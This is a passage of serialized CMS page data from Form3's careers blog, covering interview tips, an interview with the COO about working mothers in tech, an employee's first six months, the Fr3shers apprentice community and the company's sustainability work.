the interviewing game for a while. Maybe also start early with companies that have longer interview processes?  ",[44795,44796],{"start":398,"end":9312,"type":593},{"start":10309,"end":9206,"type":593},{"type":3373,"text":44798,"spans":44799,"direction":445},"Once warmed up, crack on with the companies you're most excited about!  ",[44800],{"start":398,"end":1658,"type":593},{"type":3373,"text":44802,"spans":44803,"direction":445},"Review your performance after each interview. What went well? What didn’t? What would you have done differently? Building in reflection time can be a rewarding process and it’ll help you become a great interviewee! ",[44804],{"start":398,"end":9202,"type":593},{"type":3373,"text":44806,"spans":44807,"direction":445},"Ask for feedback. Like in point 5, this will help you make those tiny but vital improvements. ",[44808],{"start":398,"end":2769,"type":593},{"type":3373,"text":44810,"spans":44811,"direction":445},"Avoid interview burnout. Take a break, switch up the time of the interviews, be kind to yourself, get support from family & friends.  ",[44812],{"start":398,"end":1066,"type":593},{"type":3373,"text":44814,"spans":44815,"direction":445},"Remember that no interview is a bad interview. Even if you feel it didn’t go exactly how you wanted it to, it is all good practice and a learning experience 💜 ",[44816],{"start":398,"end":9202,"type":593},"rich_text$a4981664-6d09-4d8e-9272-0320f8b45de8",{"variation":437,"version":438,"items":44819,"primary":44820,"id":44828,"slice_type":468,"slice_label":5},[],{"body":44821},[44822,44825],{"type":988,"text":44823,"spans":44824,"direction":445},"✅ Leverage your existing network!",[],{"type":25,"text":44826,"spans":44827,"direction":445},"Before applying to that dream remote opportunity, get on LinkedIn and find out if you have any existing connections at that company. Companies love referrals and often have lucrative referral schemes! Go on, get that“in” 😉 Worst case scenario, connect with the hiring team and express your interest in joining their company. It’s a win-win!",[],"rich_text$26c80ce8-5157-4bef-b514-3b71a64dd7a5",{"variation":437,"version":438,"items":44830,"primary":44831,"id":44836,"slice_type":468,"slice_label":5},[],{"body":44832},[44833],{"type":25,"text":44834,"spans":44835},"There you have them, my top tips for landing your dream remote role in 2023! You might already be doing some or all of them, but hopefully there are a few takeaways that you can start to implement today. If you need any further advice, feel free to reach out to me! ",[],"rich_text$57e5c4ef-981a-4b96-8f37-5f0bb2b8bd45","Who knows what the job market in 2023 will bring? What I do know is, software engineers remain in high demand, how we find new opportunities is evolving and the demand for remote jobs continue to outstrip supply.",{"id":44839,"uid":44840,"type":42493,"data":44841},"alz1jBEAACwAUWpD","can-you-please-introduce-yourself-your-role-and-what",{"title":44842,"excerpt":44843,"card_image":44844,"published_date":44849,"reading_time":418,"tag":42499,"dek":5,"featured_image":44850,"about_form3":44855,"client_about_heading":5,"client_about_body":44856,"author_name":5,"author_title":5,"author_photo":44857,"author_bio":44858,"author_linkedin":44859,"slices":44860,"meta_title":44842,"meta_description":44843},"MotherBoard Spotlight On: Eimear O’Connor","MotherBoard recently caught up with Form3 Chief Operating Officer (COO), Eimear O'Connor, as part of their content series to highlight incredible working mums within tech & data, as well as individuals and businesses that are supportive and progressive within their approach to creating more inclusive tech & data teams for women.",{"dimensions":44845,"alt":44842,"copyright":5,"url":44846,"id":44847,"edit":44848},{"width":412,"height":412},"\u002F_prismic-media\u002F77346545430d1285-ktM9mSKe5O2nV0ys_can-you-please-introduce-yourse.png","ktM9mSKe5O2nV0ys",{"x":398,"y":398,"zoom":399,"background":400},"2023-02-24",{"dimensions":44851,"alt":5,"copyright":5,"url":44852,"id":44853,"edit":44854},{"width":501,"height":6562},"\u002F_prismic-media\u002F05af16dbfec1b037-N5ELNPHuYyfAkqcN_41c9190c-1247-4b3d-940a-722a01c.png","N5ELNPHuYyfAkqcN",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[44861,44884,44904,44924],{"variation":437,"version":438,"items":44862,"primary":44863,"id":44883,"slice_type":468,"slice_label":5},[],{"body":44864},[44865,44871,44877,44880],{"type":25,"text":44866,"spans":44867},"MotherBoard recently caught up with Form3 Chief Operating Officer (COO), Eimear O'Connor, as part of their 'MotherBoard' content series to highlight incredible working mums within tech & data, as well as individuals and businesses that are supportive and progressive within their approach to creating more inclusive tech & data teams for women.",[44868],{"start":398,"end":602,"type":489,"data":44869},{"link_type":491,"url":44870,"target":493},"https:\u002F\u002Fmotherboardmovement.co.uk\u002F",{"type":25,"text":44872,"spans":44873},"MotherBoard | mums working in Tech is a community, content & meetup series, and charter designed to drive positive change throughout the UK technology and data sectors by creating environments that encourage the inclusion of working mothers. They tackle stigmas and support employers, like Form3, who want to create real change.",[44874],{"start":398,"end":1131,"type":489,"data":44875},{"link_type":491,"url":44876,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fmotherboard-mums-working-in-tech-and-data\u002F",{"type":25,"text":44878,"spans":44879},"Eimear is the COO and a founding member of the Executive Team at Form3, with responsibility for all aspects of business and service operations including customer delivery, customer onboarding, service management, risk, people, and talent. Eimear is passionate about finding tech first solutions that deliver a first-class customer experience aligned to Form3’s vision to power the future of payments. ",[],{"type":25,"text":44881,"spans":44882},"Raised in Ireland now living in London, Eimear is a proud mother, wife, sailor, skier, and pretty average tennis player. ",[],"rich_text$e1d601ce-200e-4929-ac8e-c8aeed156509",{"variation":437,"version":438,"items":44885,"primary":44886,"id":44903,"slice_type":468,"slice_label":5},[],{"body":44887},[44888,44891,44894,44897,44900],{"type":988,"text":44889,"spans":44890,"direction":445},"Introduce yourself, your role and what do you think businesses need to do to support mums working in tech & data better?",[],{"type":25,"text":44892,"spans":44893,"direction":445},"I joined Form3 as the Chief Operating Officer and part of the founding management team, when Form3 was just 6-months old, back in 2017. My role spans both the Business and Service Operations of the company. When I joined Form3, there were only 6 employees. Today, there are over 500, spanned over 30 different locations and speaking over 74 languages!",[],{"type":25,"text":44895,"spans":44896,"direction":445},"I’m an advocate of our 100% remote working policy at Form3, which allows us to attract bigger pools of talent, including those who would not be able to join Form3 otherwise. I also champion our culture of flexible working, irrespective of seniority or tenure. And being a female leader and mother who needs that flexibility myself, it’s always been important to role model this ‘juggling act’, long before Covid-19!",[],{"type":25,"text":44898,"spans":44899,"direction":445},"Flexible working also gives women in particular a better chance at remaining at work and research shows that access to flexible working enables more women to stay in the workforce for longer, often maintaining their hours and salary and successfully stepping into more senior positions. I hope for these reasons, that more and more businesses think about how they can structure themselves flexibly to support working mums in our industry. ",[],{"type":25,"text":44901,"spans":44902,"direction":445},"At Form3 we are leading the way in flexible working and are recognised in the industry for this.",[],"rich_text$4c08021c-8a94-447f-b83b-322b0ed8e17b",{"variation":437,"version":438,"items":44905,"primary":44906,"id":44923,"slice_type":468,"slice_label":5},[],{"body":44907},[44908,44911,44914,44917,44920],{"type":988,"text":44909,"spans":44910,"direction":445},"How have you managed to build a successful career, whilst also embarking on motherhood and what challenges have you faced in finding a balance?",[],{"type":25,"text":44912,"spans":44913,"direction":445},"I’ve always worked in male dominated industries, so I’ve strived to balance both motherhood and career in the same way that any other of my peers would have.",[],{"type":25,"text":44915,"spans":44916,"direction":445},"I’ve made those difficult decisions that sometimes come along with being a working mother, choosing to fine-tune what my working schedule looked like including moving to part-time for a time. Importantly however I have also looked to ensure that this does not mean that it comes along with a change of status or ambition. It’s not always been an easy journey, and on reflection I don’t feel like I always made all the right choices.  Ultimately however, it is the journey and lessons learnt along the way that are necessary for me in finding the right harmony – for me – between work, life, and motherhood. ",[],{"type":25,"text":44918,"spans":44919,"direction":445},"The equilibrium of mental and physical health has also been of key importance for me. For example, taking enough time off to spend it with my special ones has allowed me to then come back and enjoy greater focus on my work – and I am not only talking about when I took maternity leave. At Form3, I lead by example by taking all my holiday allowance while emphasizing the importance for everyone to use this much needed time to reflect, rest and recharge – whether you are a parent or not!",[],{"type":25,"text":44921,"spans":44922,"direction":445},"Overall, I like to believe that I’m one of those people debunking the myth that women are naturally more cautious than men and hence take fewer chances in their careers, a myth often exaggerated   by gender bias. I feel I have developed risk-taking habits – a fear worth facing that has helped me advanced in my career and better prepared me for challenges I would be bound to encounter, as well as embracing a “growth mindset”. Nothing is risked, nothing is gained, right? ",[],"rich_text$e2e9357a-5a58-4aed-90d8-7f35d84400bd",{"variation":437,"version":438,"items":44925,"primary":44926,"id":44937,"slice_type":468,"slice_label":5},[],{"body":44927},[44928,44931,44934],{"type":988,"text":44929,"spans":44930,"direction":445},"Do you have any final words of advice to our readers about balancing being a mum and having a successful career?",[],{"type":25,"text":44932,"spans":44933,"direction":445},"Be brave. Have confidence in yourself and have the courage to communicate that confidence in all that you do. Own your challenges – and don’t wait around or expect someone else to solve problems that are important to you, for you. If you see there’s an issue, be proactive and take the initiative, rally the team, get people involved, collaborate, and find a solution.  ",[],{"type":25,"text":44935,"spans":44936,"direction":445},"Finally, remember the importance of feedback. Look for people who will give you honest and open feedback – both positive and negative! Listen to this network of ‘trusted allies, absorb what they have to say - even if that’s tough to hear sometimes - and use it to help you grow. ",[],"rich_text$a1062529-bd0a-45b2-8ead-6cce8c199a6d",{"id":44939,"uid":13163,"type":42493,"data":44940},"alz1oBEAACwAUWqq",{"title":13165,"excerpt":44941,"card_image":44942,"published_date":11199,"reading_time":506,"tag":42560,"dek":13172,"featured_image":44947,"about_form3":44951,"client_about_heading":5,"client_about_body":44952,"author_name":5,"author_title":5,"author_photo":44953,"author_bio":44954,"author_linkedin":44955,"slices":44956,"meta_title":13165,"meta_description":44988},"In a fast-growing company such as Form3, where people and teams are constantly growing in number and responsibilities, it is crucial that everyone knows where to go for asking questions and for help. Ensuring everyone feels they can ask for help is a key method to ensure employees feel safe at work and can have healthy team relationships.",{"dimensions":44943,"alt":13165,"copyright":5,"url":44944,"id":44945,"edit":44946},{"width":412,"height":412},"\u002F_prismic-media\u002Fc491fd5ac3616f6b-toBbi8AXjtIxhZ_y_fostering-healthy-teams-at-form.png","toBbi8AXjtIxhZ_y",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":44948,"alt":44949,"copyright":5,"url":13176,"id":13177,"edit":44950},{"width":501,"height":502},"teams",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[44957,44970],{"variation":437,"version":438,"items":44958,"primary":44959,"id":44969,"slice_type":468,"slice_label":5},[],{"body":44960},[44961,44963,44965,44967],{"type":988,"text":13190,"spans":44962,"direction":445},[],{"type":1151,"text":13193,"spans":44964,"direction":445},[],{"type":1151,"text":13196,"spans":44966,"direction":445},[],{"type":1151,"text":13199,"spans":44968,"direction":445},[],"rich_text$040d9831-f40c-49fd-a70b-84412a129348",{"variation":437,"version":438,"items":44971,"primary":44972,"id":44987,"slice_type":468,"slice_label":5},[],{"body":44973},[44974,44976,44978,44980,44982,44985],{"type":988,"text":13207,"spans":44975,"direction":445},[],{"type":1151,"text":13210,"spans":44977,"direction":445},[],{"type":1151,"text":13213,"spans":44979,"direction":445},[],{"type":1151,"text":13216,"spans":44981,"direction":445},[],{"type":25,"text":44983,"spans":44984,"direction":445},"In a remote first company, there is a lack of live human interaction, being aware of it, be respectful, strive for positive communication and adopt small attentions can fill that gap. The internal service -on-call process is an example of the Form3's culture, that goes hand-in-hand with the definition of teams. ",[],{"type":25,"text":13222,"spans":44986,"direction":445},[],"rich_text$9be11d11-ec63-4956-9297-2a73e1e13b8a","Ensuring everyone feels they can ask for help is a key method to ensure employees feel safe at work and can have healthy team relationships.",{"id":44990,"uid":44991,"type":42493,"data":44992},"alz1VhEAACgAUWko","my-first-6-months",{"title":44993,"excerpt":44994,"card_image":44995,"published_date":39702,"reading_time":643,"tag":43049,"dek":5,"featured_image":45000,"about_form3":45001,"client_about_heading":5,"client_about_body":45002,"author_name":45003,"author_title":45004,"author_photo":45005,"author_bio":45010,"author_linkedin":45011,"slices":45012,"meta_title":44993,"meta_description":44994},"My first 6 months at Form3","Believe it or not, I was 9 months pregnant and about to start my maternity leave when I started to interview with Form3. When a friend told me about the role, in all honesty, I was a little bit hesitant. I was about to have a baby, wasn’t planning on cutting my maternity leave short and just couldn’t imagine that any company or employer would be prepared to wait almost a whole year for me to join.",{"dimensions":44996,"alt":44993,"copyright":5,"url":44997,"id":44998,"edit":44999},{"width":412,"height":412},"\u002F_prismic-media\u002F44f87b4a3fcd31ec-qjm0yaQGPyawy6yi_my-first-6-months.png","qjm0yaQGPyawy6yi",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],"Belinda Rawlings","Senior People Partner",{"dimensions":45006,"alt":45003,"copyright":5,"url":45007,"id":45008,"edit":45009},{"width":5080,"height":5081},"\u002F_prismic-media\u002F3bdbcdc82561113b-H09h5Jbur1CQBaZK_4a8b2d7e-943f-4981-82d6-1a7b29b.jpg","H09h5Jbur1CQBaZK",{"x":398,"y":398,"zoom":399,"background":650},[],{"link_type":434},[45013,45026,45040,45071,45103,45124,45150],{"variation":437,"version":527,"items":45014,"primary":45015,"id":45025,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":45016,"body":45017,"cta_label":5,"cta_link":45018,"aside_type":533,"aside_image":45019,"aside_video":45020,"aside_video_poster":45021,"aside_video_reduced_motion":45022,"aside_video_url":5,"aside_embed":45023,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":45024,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{},{"link_type":536},{},{},{},{"link_type":542},"content_block$9b4ce72e-d899-46b0-8046-d1ac16d12b08",{"variation":437,"version":438,"items":45027,"primary":45028,"id":45039,"slice_type":468,"slice_label":5},[],{"body":45029},[45030,45033,45036],{"type":988,"text":45031,"spans":45032,"direction":445},"Hi 👋 , my name is Belinda.",[],{"type":25,"text":45034,"spans":45035,"direction":445},"I joined Form3 as a Senior People Partner about 6 months ago.  ",[],{"type":25,"text":45037,"spans":45038,"direction":445},"I’ve been working as a People Partner for a number of years across various industries, but this is my first role in a FinTech company in a remote-first culture. ",[],"rich_text$e8286021-dfff-4b1b-9612-ac2ce3672082",{"variation":437,"version":438,"items":45041,"primary":45042,"id":45070,"slice_type":468,"slice_label":5},[],{"body":45043},[45044,45047,45050,45053,45061,45064],{"type":988,"text":45045,"spans":45046,"direction":445},"My journey to Form3",[],{"type":25,"text":45048,"spans":45049,"direction":445},"Believe it or not, I was 9 months pregnant and about to start my maternity leave when I started to interview with Form3. ",[],{"type":25,"text":45051,"spans":45052,"direction":445},"When a friend told me about the role, in all honesty, I was a little bit hesitant. I was about to have a baby, wasn’t planning on cutting my maternity leave short and just couldn’t imagine that any company or employer would be prepared to wait almost a whole year for me to join. ",[],{"type":25,"text":45054,"spans":45055,"direction":445},"The experience I had interviewing as a candidate for my role at Form3 was the best I’ve had in my career so far. Our Talent Acquisition Team scheduled things in a way that worked best for me and my family. They were warm and welcoming, and feedback about the various interview stages was super timely. There were no long waiting times that I’m sure we’ve all experienced in the past. And if you are wondering about Form3’s interview process, you can read more about it in this other recent blog post our very own Talent Team have written!",[45056],{"start":45057,"end":45058,"type":489,"data":45059},490,499,{"link_type":491,"url":45060,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fblog\u002Four-interview-process",{"type":25,"text":45062,"spans":45063,"direction":445},"Turns out Form3 is a very special company. They were willing to wait for me (that alone speaks volumes about them as an employer) and 11 months later, I started my journey with Form3. ",[],{"type":25,"text":45065,"spans":45066,"direction":445},"Ahead of my first day, my shiny and new IT equipment was posted to my house, and I was busy designing my home office set-up. Here at Form3, we use an online platform called Hofy on which you can rent office equipment and create exactly the working-from-home setup that you want. I was ready to kick things off!",[45067],{"start":24936,"end":9290,"type":489,"data":45068},{"link_type":491,"url":45069,"target":493},"https:\u002F\u002Fwww.hofy.com\u002F","rich_text$e9335024-696a-4a6d-bab8-e1e220588146",{"variation":437,"version":438,"items":45072,"primary":45073,"id":45102,"slice_type":468,"slice_label":5},[],{"body":45074},[45075,45078,45081,45084,45087,45090,45093,45096,45099],{"type":988,"text":45076,"spans":45077,"direction":445},"My first week",[],{"type":25,"text":45079,"spans":45080,"direction":445},"‘My first week’ at Form3 was really my first month, by choice. Returning to work after a year filled with baby-sensory classes, I felt that my ‘work brain’ needed a little time to adjust and re-activate. I am very grateful that I was allowed the freedom to ease back in to work life gradually. ",[],{"type":25,"text":45082,"spans":45083,"direction":445},"For the first month I only worked 1 day a week to allow myself to get back into the swing of things post maternity leave. That’s how my first week experience span over a whole month. Flexibility is big here at Form3. I appreciate that my situation as a new joiner was quite unique, so l will refer to this period as ‘my first week’ for the sake of this blog.",[],{"type":25,"text":45085,"spans":45086,"direction":445},"During my first week I: ",[],{"type":3373,"text":45088,"spans":45089,"direction":445},"Met my team",[],{"type":3373,"text":45091,"spans":45092,"direction":445},"Was welcomed by our CEO in our weekly company-wide Monday Meeting",[],{"type":3373,"text":45094,"spans":45095,"direction":445},"Met my Onboarding Buddy",[],{"type":3373,"text":45097,"spans":45098,"direction":445},"Completed mandatory trainings (as a cloud payment provider working with banks this is mega important)",[],{"type":3373,"text":45100,"spans":45101,"direction":445},"Learned about our internal info hubs, the tech, tools, and resources that we use on a daily basis",[],"rich_text$13f1681a-b86e-43be-adcb-433c25a5427d",{"variation":437,"version":527,"items":45104,"primary":45105,"id":45123,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":45106,"body":45107,"cta_label":5,"cta_link":45111,"aside_type":533,"aside_image":45112,"aside_video":45118,"aside_video_poster":45119,"aside_video_reduced_motion":45120,"aside_video_url":5,"aside_embed":45121,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":45122,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[45108],{"type":25,"text":45109,"spans":45110},"My Form3 swag also arrived during that week – an exciting day! Photo credits go to our lovely API Experience - Business Analyst, Corina Badeanu as I forgot to take a photo myself.",[],{"link_type":434},{"dimensions":45113,"alt":45114,"copyright":5,"url":45115,"id":45116,"edit":45117},{"width":2532,"height":2533},"Form3 Swag - Tshirts, jumper, mug and coffee cup","\u002F_prismic-media\u002F2947a880c2d346e3-57qiJGksOAu41F8y_0a3de1bd-be14-42e2-9908-3a4ba91.png","57qiJGksOAu41F8y",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$ce646449-8eaa-4211-b656-c66fd192d71e",{"variation":437,"version":438,"items":45125,"primary":45126,"id":45149,"slice_type":468,"slice_label":5},[],{"body":45127},[45128,45131,45134,45137,45140,45143,45146],{"type":988,"text":45129,"spans":45130,"direction":445},"My first month",[],{"type":25,"text":45132,"spans":45133,"direction":445},"After the initial settling-in phase, I learned about the ways of working, I soaked in the culture and learned a lot just by listening and observing. I was assigned my first project which involved an international HR audit (something I had experience in already). It allowed me to really deep dive into how Form3 operates, and how responsibilities are distributed amongst the team and across the company. It helped me to understand the bigger picture and having that initial ‘soaking-it-all-in' period, consequently enabled me to share ideas and thoughts, so that I could contribute to the team’s success. ",[],{"type":25,"text":45135,"spans":45136,"direction":445},"Here are some tips for anyone starting a new job: ",[],{"type":3373,"text":45138,"spans":45139,"direction":445},"Listen and observe - Initially, try to absorb as much as you can. You’ll probably end up with a lot of questions, write them down and take them to your team or manager. You’ll likely get really good insight really quickly. ",[],{"type":3373,"text":45141,"spans":45142,"direction":445},"Review and explore the tools and resources available – Take some time to dive into the info that is out there. Your company might also have info hubs that hosts a lot of employee resources. ",[],{"type":3373,"text":45144,"spans":45145,"direction":445},"Share ideas – You’ll have a fresh pair of eyes. Use that insight to share new ideas and contributions that you think could make things even better. ",[],{"type":3373,"text":45147,"spans":45148,"direction":445},"Meet people - If you’re on a remote team, schedule virtual coffee chats with your new teammates and key stakeholders to have one-on-one time with each person. Meet people outside of your own team. One of my favourite slack apps here at Form3 is Donut – an app that will randomly pair you with a another Form3 employee each month for a chat and a coffee. ",[],"rich_text$b30ff6f0-f185-44a9-b851-f3073a21022e",{"variation":437,"version":438,"items":45151,"primary":45152,"id":45170,"slice_type":468,"slice_label":5},[],{"body":45153},[45154,45157,45164,45167],{"type":988,"text":45155,"spans":45156,"direction":445},"A few months in...",[],{"type":25,"text":45158,"spans":45159,"direction":445},"A couple of months ago I certified as a Mental Health First Aider, something really close to my heart and that I had been wanting to do for a long time already. I feel incredibly lucky that I was given the opportunity to do this so early on in my journey with Form3. I used some of my Learning Days to complete the course (paid time off to learn and upskill!), and the cost was covered by my L&D allowance. You can read more about our culture of continuous learning in a blog post written by our Senior Learning & Development Partner, Kevin Crawford. ",[45160],{"start":45161,"end":2052,"type":489,"data":45162},471,{"link_type":491,"url":45163,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fblog\u002Four-culture-of-continuous-learning",{"type":25,"text":45165,"spans":45166,"direction":445},"Since I started, I’ve been able to work with some incredible people on some exciting projects. For example, we just launched a new and updated Employee Onboarding Guide – a step-by-step guidance doc for new joiners that covers everything from pre-boarding to first month essentials, all in one place. I’ve also looked at how we operate internationally to ensure that we are compliant with local legislations; and have co-launched training courses on Women’s Health and Men’s Health, as we want to normalise conversations about these topics at Form3. We also want to educate to be better able to support ourselves, our colleagues, friends and family members that may be impacted by physical or mental health issues.  ",[],{"type":25,"text":45168,"spans":45169,"direction":445},"The remote-first culture at Form3 means I have the freedom to work from home, and I am able to flex my working hours around my personal life.  I’m never stuck in traffic or on the train for nursery pick-up or drop-off, and I can take our dog out for a long walk during lunchtime, soak in some rays of sun and free some much-needed headspace, so that I can get back to work, feeling refreshed. It’s made such a difference to our family, and I wouldn’t change it for the world. ",[],"rich_text$572bb1b4-3519-4fd4-b9ba-6a9ea81bea53",{"id":45172,"uid":45173,"type":42493,"data":45174},"alz1XREAACkAUWlL","fr3shers",{"title":45175,"excerpt":45176,"card_image":45177,"published_date":45182,"reading_time":5,"tag":43049,"dek":45176,"featured_image":45183,"about_form3":45188,"client_about_heading":5,"client_about_body":45189,"author_name":12027,"author_title":12028,"author_photo":45190,"author_bio":45195,"author_linkedin":45196,"slices":45197,"meta_title":45175,"meta_description":45176},"Form3’s Fr3shers Community","Apprenticeships and Internships offer students and school or college leavers the opportunity to gain vital work experience whilst studying towards a qualification. At Form3, we are able to develop the relevant skills associated with the course we are studying, whilst learning and operating in a real business environment. For a few of us, Form3 has acted as our first real employer!",{"dimensions":45178,"alt":45175,"copyright":5,"url":45179,"id":45180,"edit":45181},{"width":412,"height":412},"\u002F_prismic-media\u002F25d677a7e0936ea2-19LFYDIW8yNAyAXE_fr3shers.png","19LFYDIW8yNAyAXE",{"x":398,"y":398,"zoom":399,"background":400},"2023-09-01",{"dimensions":45184,"alt":5,"copyright":5,"url":45185,"id":45186,"edit":45187},{"width":423,"height":424},"\u002F_prismic-media\u002F3183fad5e70e03e6-lWIE35q415GLXNtF_7ebb10d7-0bda-43d9-bc2d-ec0287a.png","lWIE35q415GLXNtF",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":45191,"alt":12027,"copyright":5,"url":45192,"id":45193,"edit":45194},{"width":5080,"height":5081},"\u002F_prismic-media\u002Ff6a2c2e1be2d35c5-0IoGi1VLL9fuYnlT_e17d1c8b-0453-4946-ba92-79fd9bb.jpg","0IoGi1VLL9fuYnlT",{"x":398,"y":398,"zoom":399,"background":650},[],{"link_type":434},[45198,45209,45220,45242,45259,45281,45299],{"variation":437,"version":438,"items":45199,"primary":45200,"id":45208,"slice_type":468,"slice_label":5},[],{"body":45201},[45202,45205],{"type":988,"text":45203,"spans":45204,"direction":445},"What is Fr3shers?",[],{"type":25,"text":45206,"spans":45207,"direction":445},"At Form3, we have built a dedicated community for our entry level hires – we call ourselves Fr3shers! We are currently a team of apprentices across different areas of the business; you can find us in the PeopleTeam, IT, Finance, Legal, and Product. Last summer, we were also lucky enough to welcome some interns to the team.",[],"rich_text$f1db1798-86fd-46d1-9be5-894850725d5b",{"variation":437,"version":438,"items":45210,"primary":45211,"id":45219,"slice_type":468,"slice_label":5},[],{"body":45212},[45213,45216],{"type":988,"text":45214,"spans":45215,"direction":445},"Why Fr3shers?",[],{"type":25,"text":45217,"spans":45218,"direction":445},"Fr3shers was inspired by the idea of ‘freshers’ culture in British universities: the welcome week for first-year university students. Although our team at Form3 do not have the traditional pros of ‘freshers’ events at the start of the year or semester, we created ‘Fr3shers’ to encourage the community behind starting a new journey and learning together. Fr3shers has given Form3 entry level recruits the chance to build relationships with team members who are at a similar point in their studies and career. Essentially, we aim to help each other learn and grow whilst having fun!",[],"rich_text$50d1e30d-da0a-4aa9-a28b-c33471b540c5",{"variation":437,"version":527,"items":45221,"primary":45222,"id":45241,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":45223,"body":45224,"cta_label":5,"cta_link":45228,"aside_type":533,"aside_image":45229,"aside_video":45236,"aside_video_poster":45237,"aside_video_reduced_motion":45238,"aside_video_url":5,"aside_embed":45239,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":45240,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[45225],{"type":25,"text":45226,"spans":45227},"The Fr3shers after completing another great workshop with Kevin around ‘Role Modelling & Leadership Values’.",[],{"link_type":434},{"dimensions":45230,"alt":5,"copyright":5,"url":45233,"id":45234,"edit":45235},{"width":45231,"height":45232},4032,3024,"\u002F_prismic-media\u002F4bae43b61a358e97-JLDg__EeDp6GOvF5_1db96900-66ea-42a7-8958-47ef2ff.jpg","JLDg__EeDp6GOvF5",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$78c09086-8b36-4b0a-899f-1bc083639d60",{"variation":437,"version":438,"items":45243,"primary":45244,"id":45258,"slice_type":468,"slice_label":5},[],{"body":45245},[45246,45249,45252,45255],{"type":988,"text":45247,"spans":45248,"direction":445},"How do we keep connected in a remote culture?",[],{"type":25,"text":45250,"spans":45251,"direction":445},"As apprentices, we are eager to constantly expand our skills and business acumen, to help us become the most knowledgeable and professional individuals we can be. In an attempt to develop our understanding of Form3, including our teams and ways of working, we introduced our monthly virtual Fr3shers sessions. They involve various hosts across the company, joining us once a month, to provide either training or an insight into their role, their team, any ongoing projects and to share other knowledge or expertise they may feel is relevant to us.  ",[],{"type":25,"text":45253,"spans":45254,"direction":445},"In a remote culture, sessions like these are also useful to make room for us to broaden our interpersonal and communication skills. Each month, a different apprentice is assigned a session to help co-ordinate it, which enables us to connect with other team members who we may not usually cross paths with, whilst encouraging us to adapt our style to who it is we are communicating with. These sessions are also a fantastic opportunity to bring the Fr3shers team together. Even if it is virtual, it’s great to engage and see everybody on Zoom. We are always looking for hosts to run one of our monthly virtual sessions! ",[],{"type":25,"text":45256,"spans":45257,"direction":445},"Throughout the year we stay connected using our Slack channel - #Fr3shers. This channel is often used as a space for quick catchups or check ins with each other, to share relevant information about initiatives going on at Form3 or any recommendations for courses, music, apps, studying techniques and more! Given that we are situated across different business lines, it can sometimes be difficult engage with each other. Our Slack channel is a safe space for conversations and achievements to be shared amongst the Fr3shers team! Our favourite part is celebrating each other; whether it is a ‘happy birthday’ or ‘congratulations’ message, we want to celebrate our achievements and spread good vibes! ",[],"rich_text$d47aa42e-f778-45f4-9c39-b070ce9b3ab6",{"variation":437,"version":527,"items":45260,"primary":45261,"id":45280,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":45262,"body":45263,"cta_label":5,"cta_link":45267,"aside_type":533,"aside_image":45268,"aside_video":45275,"aside_video_poster":45276,"aside_video_reduced_motion":45277,"aside_video_url":5,"aside_embed":45278,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":45279,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[45264],{"type":25,"text":45265,"spans":45266},"The Fr3shers team with our wonderful Lego statue is from a recent meet-up where Kevin kindly hosted his ‘Lego Serious Play’ workshop for us.",[],{"link_type":434},{"dimensions":45269,"alt":5,"copyright":5,"url":45272,"id":45273,"edit":45274},{"width":45270,"height":45271},2016,1512,"\u002F_prismic-media\u002F65e734330b3f817f-CzfzIITnl3ZMlPqC_d794b161-0b4a-4422-aded-a4fc393.jpg","CzfzIITnl3ZMlPqC",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$c81efc4a-86c3-4dde-bc7c-3dc6afd48f9b",{"variation":437,"version":438,"items":45282,"primary":45283,"id":45298,"slice_type":468,"slice_label":5},[],{"body":45284},[45285,45288],{"type":988,"text":45286,"spans":45287,"direction":445},"Fr3shers face to face",[],{"type":25,"text":45289,"spans":45290,"direction":445},"Although we operate in a remote first environment, Fr3shers meet-ups are our favourite! We love getting together in person throughout the year, engaging in workshops, training, and other interesting talks with several colleagues across the Form3 family. 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To do this we’re currently in the process of calculating our carbon footprint with the help of Furthr. Once these calculations are finalised, we’ll work with Furthr to help us reduce our emissions as much as possible by setting science-based targets, developing low carbon business models, and offsetting the balance.",[45806],{"start":4141,"end":19962,"type":489,"data":45807},{"link_type":491,"url":45808},"https:\u002F\u002Ffurthr.earth\u002F",{"type":25,"text":45810,"spans":45811},"In addition, we’re proud to have a number of initiatives already in place that reduce our environmental impact. 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Each activity completed was worth points, and for every 5 points Form3 planted a tree!",[],{"type":25,"text":45914,"spans":45915},"We created a dedicated internal Slack channel where our team would share the activities they had completed. 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We wanted to take the time to recognise Earth Day to raise awareness of the need to preserve the environment by reducing our impact in a way that could involve all of our team, wherever they may be – small changes that we can all make add up to make a huge impact!",[],"rich_text$b1030649-b7d9-4189-806c-a8316627e282",{"variation":437,"version":438,"items":45960,"primary":45961,"id":45971,"slice_type":468,"slice_label":5},[],{"body":45962},[45963,45965,45968],{"type":746,"text":18801,"spans":45964},[],{"type":25,"text":45966,"spans":45967},"We know there’s more to be done to reduce our environmental impact and achieving this is a priority for Form3, in line with our ESG strategy. We are committed to being a sustainable company that contributes to a more sustainable future for all, and we want to continue to involve everyone as much as 